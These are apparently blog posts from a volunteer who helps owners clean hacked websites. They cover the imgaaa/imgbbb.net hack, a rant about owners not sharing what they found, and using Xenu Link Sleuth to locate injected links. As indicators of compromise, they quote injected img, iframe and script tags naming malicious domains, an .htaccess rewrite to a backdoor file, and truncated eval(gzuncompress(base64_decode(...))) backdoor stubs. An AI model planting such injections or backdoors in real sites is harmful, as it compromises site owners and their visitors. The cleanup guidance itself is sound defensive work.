Cleaning up the imgaaa.net (or imgbbb or imgccc or imgddd.net) hack

First, In all the img???.net hacks I have seen so far the hackers have gained access to the sites via stolen FTP credentials from a compromised PC. Do a scan of your PC and make sure there are no Trojans/viruses capturing your ids/passwords, use a couple of different security packages. Change ALL passwords especially FTP. Never store/save your passwords in your FTP client, use secure FTP if available. Install a good anti-virus program and do regular scans of your computer.

The most visible sign of the hack is a line of code similar to this

< img heigth="1" width="1" border="0" src=" http://imgbbb.net /t.php?id=14438168 " >

appears somewhere, usually after the </html> tag in one or more html or php file(s) your the site.  More recently the <img tag has started to show up at the very beginning of the file, before the doctype declaration.  I have also started to see this

< img heigth="1" width="1" border="0" src=" http://imgbbb.net/t.php?id=12580911 " >

< img heigth="1" width="1" border="0" src=" http://imgbbb.net/t.php?id=12581106 " >

two or more img tags with different values in the ?id=   again right after the </html> tag.

Update 06/22/2011:  In the last couple of sites I have looked at the <img tag was inserted at random locations in the file.

On most sites I have looked at the tags have only been on the homepage, but you should check all of your pages for the malicious links. The post Using Xenu Link Sleuth ^TM to find malicious code on your site covers how to use the tool to find pages on your site that contain the malicious links.

The hackers have been using a number of different domains such as imgaaa.net, imgbbb.net, imgccc.net, imgddd.net, myteenmovies.net, adam-love.net, and curem.net.  The numbers in id=has varied from site to site but so far all have had the filename  t.php with the parameter ?id=*********,   /t.php?id=15090691

If you are having trouble spotting the code in your page try this tool File Viewer to request the page. The tool will display the code returned by your server for a request for your page with some highlighting that will hopefully make it easier for you to spot the code. I just looked at a Joomla site and the code

< img heigth="1" width="1" border="0" src=" http://imgbbb.net/t.php?id=12384646 " >

was stuck in the middle of the page.

Usually (not always) with the imgaaa. net (imgccc. net, imgddd. net) hack the hackers also place a backdoor on the site to provide the ability to hack the site again.

If you are running on an Apache web server start by checking your .htaccess file for some code similar to this

RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /dd.php?q=$1 [L]

Where dd.php is a two digit file name, I have seen 31.php, 34.php, 37.php, 54.php and so on. While the dd.php is most common you may see just about any filename, I have also seen mirror.php log.php and a few others. On sites that already have a .htaccess file the hackers may not use the .htaccess part. In some of the latest Wordpress sites I have looked at the hackers have been adding an additional .htaccess file in the /wp-admin/ directory. Typically Wordpress sites will already have the default WP .htaccess file but you should check the file just to be sure.

The backdoor file will contain some obfuscated php code that starts out

eval(gzuncompress(base64_decode(' then a long string of characters. In some of the sites the code has looked like this
<?
eval(gzuncompress(base64_decode('eNqdWNtuGkkQ/ZmVSKRVBINtZbTiAR4YdpSwMqvMbbWy5mKMzAyLgj.....')));
?>

?>
eval(gzuncompress(base64_decode('eNptWWuTokgW/SvzoSN6JmpjBlC7NSbqg29BpPCBIBsbEwJ ......')));
?>

<?
eval(gzuncompress(base64_decode('eNqVXP9THbcR/xlm+B/OLnW4AM+n1ffCc5qmJJMZJ5k6SX/BL2+oj.....')));
?>


3 blocks of code that start out eval(gzuncompress(base64_decode('  and then really long strings of characters (I only copied the first part of the strings above, The full code can be seen here).

There is a simple script, Find base64_decode in your files linked under Malware helpful links which you can install and it may assist in finding the base64 strings

If the hackers have added a .htaccess file you need to remove the code from the .htaccess file first. Make sure you note the file name listed in

RewriteRule ^(.*)$ /dd.php?q=$1 [L],
or
RewriteRule ^(.*)$ /wp-admin/digitdigit.php?q=$1 [L],

on a recent site I was working with the site owner deleted the .htaccess and then could not remmember the file name. Needless to say they had a long hunt to find the malicious php file. Once you have cleared the .htaccess file you can go back and delete the malicious ??. php file.

Next check your folders/directories for sub-folder/sub-directories named .log or .logs. These are folder names that the hackers have been using but the names on your site could be about anything. Starting a folder/filename with a . will hide the file from some/most FTP programs so make sure your FTP program is set to show hidden or system files. Another thing to check for is any folders/directories on your site that the permissions have been set to 777.

Inside the .log or .logs folder there is normally another folder with the domain of your site as the name of the folder, then the malicious files are in that folder.  You will need to delete all bogus files from that folder.

Once the site is secure and clean you need to submit a request for review in you Google WMT account to have the warning removed. If you have not verified ownership of the site you will have to do so first. The following reference explains the procedure.

Google FAQ: Malware and hacked sites

Once you have the hack all cleaned up hopefully you are done but unfortunately I have seen a number of sites get the hack cleaned up and have the malware warning removed only to be slapped with a this site may be compromised warning.  One of the things this hack does is create 100s, sometimes 1000s of bogus pages on the site.  If Google indexes these bogus pages they will flag the site with the this site may be compromised warning. 

You should monitor search results over the next few weeks checking for any bogus pages showing up in the results. Hopefully you can get any cleaned up before Google labels your site  this site may be compromised.

Any feedback on what you found (or did not find) on your site would be greatly appreciated by all!

Good Luck

So just who is a hackers best friend? (just ranting)

OK guys I am frustrated today and while I would advise that you should never ever post anything when frustrated I am going against my own advice.  So this is going to be nothing more than a rant and if I were you I would not bothering reading it.

So who is a hackers best friend?  After several years of looking at many 1000s of hacked websites I have come to the conclusion that without a doubt a hackers best friend is the owner of the website that he just hacked. The hacker can place his absolute trust in you, that you will closely guard his secrets, that you will reveal to no one the techniques he used or the malicious code he placed on your site.  He can take comfort in the fact that even though he has cost you countless hours of anguish and probably more than a little bit of income he can continue to use the same techniques and malicious code on 100s of other website because he secrets are safe with you!

So what am I basing this conclusion on?  I participate regularly in two forums that are resources for website owners whose site have been hacked, the BadwareBusters Forum and Google's Webmaster Tools Forum.  Go to either (or both) and read through a few hundred of the threads dealing with hacked sites, on Badware Busters it is pretty much all of them and on Google's forum you need to go to the malware and hacked sites category and then it is pretty much all of them.

They are all start pretty much the same,  OMG my site has been hacked and I am losing all my business, if Google doesn't clear my site I will be broke in a day, I can't feed the kids, I have had to fire 100 employees and so on with a few "Why does Google hate me"  thrown in.  Then you will see some responses form the "regulars" -- your hacked with imgaaa or chura.pl  or you site is redirecting so you need to check the .htaccess or you need to check this file or that for obfuscated javascript and then the thread goes dead, you don't hear from the site owner again.

So site owner what happened??  You can go back and check the Google safe Browsing Diagnostic page for the site a day or two later and the site has been cleared, Google has removed the warning so the site owner found something but what?  Did the site owner find something in the .htaccess file, some obfuscated php script? or maybe he wasted 1000 hours looking for the stuff that was suggested and finally found something else, no one will ever know.

While the 100s of other site owners who are desperately searching for any information on how to clear their sites maybe a little frustrated with you also, I have no doubt the hacker, the one who just took money out of your pocket, is grateful for your help!

10/09/2012

Today I will add the site owners web hosting service as the hackers 2nd best friend.  After a particularly frustrating morning working a  try{ebgserb++;} hack with a site owner on the Google forum, their unnamed hosting service (If i had posted this 3 hours ago the hosting service would have been named.) let them know they had found the backdoor that was re-writing the malicious code.  hey unnamed hosting service "Would you share a little info on what you found so the 100s of site owners struggling with this can clean up their sites?"  Well NO redleg we can't do that, could you imagine what would happen if we did that, 100s of site owners would get their sites cleaned up and start making money again, 1000s of PCs would not get infected and worst of all, our good friends the hackers would have to go to the trouble of coming up with some new malicious code!

update 05/16/2011

The bad thing about whining in public is once you start it is hard to stop sooo --

OK hacked website owners whats up with this one?

I went  to one of the forums this morning and there was a new question  Mys site has been flagged and it is ruining my business. I have checked y site and can't find anything wrong, this is a legitimate site and we don't distribute malware (and so on)  Could this be a false positive?  ( I know I have written about this before.)  A quick check of the diagnostic page showed the hack du jour,

 Malicious software is hosted on 1 domain(s), including adam-love.net/.   (same as imgaaa.net)

So I do a quick check of the homepage so I can copy the malicious code to put in my response and to my surprise nothing there!  I am thinking Oh No  they have changed the way they are implementing this hack.  Hey no problem  I will just check through the other 46,000 pages on the site it is going to be on one of them.  But, several hours later nothing, the code is just not there.  Then I remembered a blog post from some random blogger talking about false positives and thought, Lets take a look at the cache of the homepage.  Sure enough, right there after the <html> tag was the line of code.  I then decided to check a little further, I went back and reviewed my server logs from last night and sure enough there were 9 hits on my file viewer for that URL with the first 7 showing the malicious code.  So the site owner had found the hack, cleaned it up and then come to the forum to ask for help.

So I have to ask  What is the purpose of that??  (other than wasting everyones time)

update 06/03/2011


I look at a lot of hacked sites day to day and they (usually) follow similar patterns, the hackers have added some malicious code to the homepage, or they have hacked a common JavaScript file, or a common php file so the site owner just needs to find the one or two files, delete the malicious code and he is back. But, every once in while (this morning) I see a site where the hackers have added the malicious code to 100s (1634 in the most recent site) of files, usually static html files.  The site owner is faced with finding and editing 100s/1000s of files to get the site cleaned up.

Come on man -  What is that all about?  It is bad enough that you hacked the guys site but do you really need to do that?  That just seems like meanness to me, you guys should be more professional  about it..  There should be some rules, say no more than 10 pages on an individual site?  Why kick the poor guy while he is down?

update 07/08/2011

For several years now I have limited my forum participation to just two forums,  Google's Malware and Hacked Sites and the Stopbadware forum.  These forums keep me pretty busy but I do read a couple of other forums regularly.  Last night I decided to jump in on another forum, the Joomla Community Forum the Security category.  I went through the registration process and established a user name and password (after 86 refreshes of the captcha)  and responded to a post about a malicious iframe.  There were a couple of back and forth(s) with the individual who had posted the question (the OP)  which were very positive when suddenly I was ambushed with some very harsh criticism from one of the moderators on the board.  There were a couple of more posts  from me and the individual asking the question and then a second moderator attacked.  The second attack was much better done, much more subtle.  I must also note that after that the OP posted back with a very supportive post for which I am very grateful.

The Joomla Community Forum,  not a very friendly place, don't think I will be going there again!

Using Xenu Link SleuthTM to find malicious code on your site.

I saw a post this morning over on the Badwarebusters.org forum from a poster who was assisting a website owner in clearing a imgbbb.net hack. The post

hi, Your problem is the same to me, I look for links to imgbbb.net on the infected site using xenulink ( http://home.snafu.de/tilman/xenulink.html ).  by bk27info

and thought now that sounds interesting lets give it a try.

I went to the site recommended in the post and read through the description provided.

Link Sleuth ^(TM) checks Web sites for broken links.
Link verification is done on "normal" links, images, frames, plug-ins,
backgrounds, local image maps, style sheets, scripts and java applets.
It displays a continously updated list of URLs which you can sort by different
criteria. A report can be produced at any time.
Additional features:

• Simple, no-frills user-interface
• Can re-check broken links (useful for temporary network errors)
• Simple report format, can also be e-mailed
• Executable file smaller than 1MB
• Supports SSL websites ("https:// ")
• Partial testing of ftp, gopher and mail URLs
• Detects and reports redirected URLs
• Site Map

Source: http://home.snafu.de/tilman/xenulink.html

The advertised use of the tool is to find broken links on your site (and man is that handy) but based on the post by bk27info I wanted to check out its use as a "malware finding tool".

I downloaded and installed Xenu following the very clear instructions on the website and had it up and running in few minutes. To test to see if it was working properly I first ran it against my site, I had a comprehensive report in a manner of seconds.  (I will work on the broken links when I have more time.)

 The next task was to check a img???  hacked site, again in a couple of seconds I had a comprehensive report and the malicious links were easy to spot.

The next step is to right=click on the malicious links in the Xenu report which opens up a dialogue box that will list the pages on the site where the links are found.

 Then its just a matter of opening the files in your editor and deleting the malicious links.

Xenu should be prove helpful in finding malicious code that is being inserted via iframes or script tags.

<iframe src="http: //goo00gle.cnet/go.php?sid=1" style=display:none></iframe>
<script src=http://some-malicious-site.com/images/gifimg.php·></script>

A check of the Safe Browsing Diagnostic page for your site at

http://www.google.com/safebrowsing/diagnostic?site=redleg-redleg.blogspot.com

(just substitute your domain name for redleg-redleg.blogspot.com)

normally provides the domain names of the sites that are hosting the malware that is infecting your site

Malicious software is hosted on 1 domain(s), including imgaaa.net/.

and/or any intermediaries.

1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including some-hacked-site.com/.

Then it is just a matter of checking through the link list for any of the listed malicious domains!

Hackers frequently, or at least some of the time, use JavaScript to write malicious iframes and/or script tags

<script>
document.write (' < script src=http://some-hacked-site.com/stats/favicon.php > < \/ script > ');
<script>

and Xenu will not find links written using Javascript.


Xenu's Link Sleuth ^(TM) is an hack hunting tool and I highly recommend all site owners have a copy in their toolbox.